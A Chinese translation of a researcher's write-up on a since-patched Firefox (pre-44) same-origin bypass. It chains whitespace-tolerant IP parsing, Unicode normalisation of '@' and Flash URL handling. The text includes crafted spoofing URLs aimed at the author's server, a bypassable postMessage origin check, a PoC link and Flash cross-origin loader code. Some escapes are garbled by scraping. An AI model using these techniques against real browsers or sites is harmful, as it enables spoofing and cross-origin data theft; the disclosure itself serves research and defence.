from: http://blog.bentkowski.info/?m=1&nsukey=wDffsgiOgT4pFXx%2BtXj1OH8aVP3wVW4zv6vMZmz5e543m7DUJ6rrvAyJYMhh5A8dCKe1hbpuFizHVQbu750jHg%3D%3D
这篇报告主要讲述作者如何利用OS之间的IP解析差异来绕过同源安全策略。在构造exploit的过程当中作者巧妙地利用一些常见的技巧最后成功的实现了在装有Flash并激活了它的机器上实现同源策略绕过。另外需要补充的是,该Exploit只在HTTP协议下有效。
对于大多数人来说关于IP的解析真的会觉得没什么可讲。就是4个数字被“.”所分割。但其实IP也会有很多表现的形态。比如”216.58.209.68”我们就可以用下面几种方法去表达。
如果你想了解更多细节,我推荐你去观看这个视频: https://www.youtube.com/watch?v=8t5-A4ASTIU
在对IP的多种表现形态进行各式各样的测试期间,作者发现在BSD和一些linux系统当中即便你在IP的末尾加上白空格((0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20)和一些其它的字符(其它字符需要出现在白空格以后)也依旧不会影响IP的正常解析。
#!shell 路人甲deMac-mini:~ 路人甲$ ping $'127.1/x0Ahehe' PING 127.1 hehe (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.097 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.113 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.095 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.140 ms ^C --- 127.1 hehe ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.095/0.111/0.140/0.018 ms 路人甲deMac-mini:~ 路人甲$
经过作者的进一步测试,发现上述情况还可以在Firefox当中复现。不过这次可用的白空格的范围从0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20减少到了0x0B和0x0C(不难看出Firefox独有的IP解析代码是从BSD那儿扣过来的)。你可以在console下执行下面的代码对该现象进行复现。(应该是在Firefox的44版本得到了修复)
#!shell location='http://127.0.0.1/x0Bwhatever_here'
在跳转过后,如果你在console继续尝试观察document.domain和location.origin你会发现没有被解码的0x0B还依然躺在那里。这种差异会让作者觉得这将会对我们构造后期的Exploit有所帮助。在这个时候作者开始尝试访问下面的URL
#!shell "http://37.187.18.85/x0B.test.google.com"
期盼global.google.com的cookie会发到作者自己的IP。遗憾的是,期待的cookie并没有飞过来。不过这并不意味着这是不可利用的。首先,由于访问上述URL后的地址栏中google.com的部分是高亮的,所以我们也许可以通过构造类似的URL进行钓鱼。其次,如果我开发人员在对postMessage的源进行验证时使用了类似下述的代码,这将意味着我们可以利用上面的技巧来对其进行绕过。
#!shell if(origin.endsWith('.google.com'))
这不算是个太差的结果。让我们再继续做一些其它的测试将这个特性的利用最大化。这次的测试目标是Unicode标准化。在这个充满阳光却有不缺乏邪恶的世界当中,经常会有人试图使用一些类似的字符来让受害者误以为自己访问的是某某网站,而实际上访问的却是攻击者构建的恶意站点。为了避免这一类事件的发生,浏览器就会对一些看似类似的字符进行unicode转换。有趣的是这种现象不会是只针对字符,连一些特殊字符也会被进行转换。比如:
#!shell @ U+FF20 -> @ U+0040
让我们试着利用这种特性来构造这样的URL:
#!shell http://37.187.18.85/x0B/uFF20google.com
这一次通过对浏览器的观察我们会发现favicon已经变成了google的。然而document.domain和location.origin中所包含的 U+FF20
也在Unicode标准化的洗礼下成功地变成了 U+0040
。所以我们的最终目标,并不是没有蛀牙。。而是欺负flash。
如果我们通过firefox去访问 http://37.187.18.85/x0B/uFF20google.com
,firefox会将URL转换成下面的样子后进行存储。
#!shell http://37.187.18.85/[email protected]
随后如果我们再将URL提交给flash,flash1会以 @
作为分隔符,将 @
和其之前的部分作为用户名剔除掉。最后我们的flash就会认为它其实是在google.com下运作。
下面是在线的POC地址: http://bentkowski.info/fx_sop_bypass/
接下来是相关的flash利用代码:
#!javascript package { import flash.display.Sprite; import flash.display.LoaderInfo; import flash.external.ExternalInterface; import flash.events.*; import flash.net.URLRequest; import flash.net.URLLoader; public class FlashTest extends Sprite { public function FlashTest() { var url:String = LoaderInfo(this.root.loaderInfo).parameters.url; ExternalInterface.call('console.log', LoaderInfo(this.root.loaderInfo).url); getURL(url); } public function getURL(url:String):void { var req:URLRequest = new URLRequest(url); var loader:URLLoader = new URLLoader(); loader.load(req); loader.addEventListener(Event.COMPLETE, loader_complete); loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, loader_error); loader.addEventListener(IOErrorEvent.IO_ERROR, loader_error); function loader_complete(e:Event):void { ExternalInterface.call("getResponse", {"status": "success", "data": e.target}); } function loader_error(e:Event):void { ExternalInterface.call("getResponse", {"status": "error", "data": e}); } } } }
如果你觉得有趣可以在本机上安装Firefox44之前的版本对上述情况进行测试。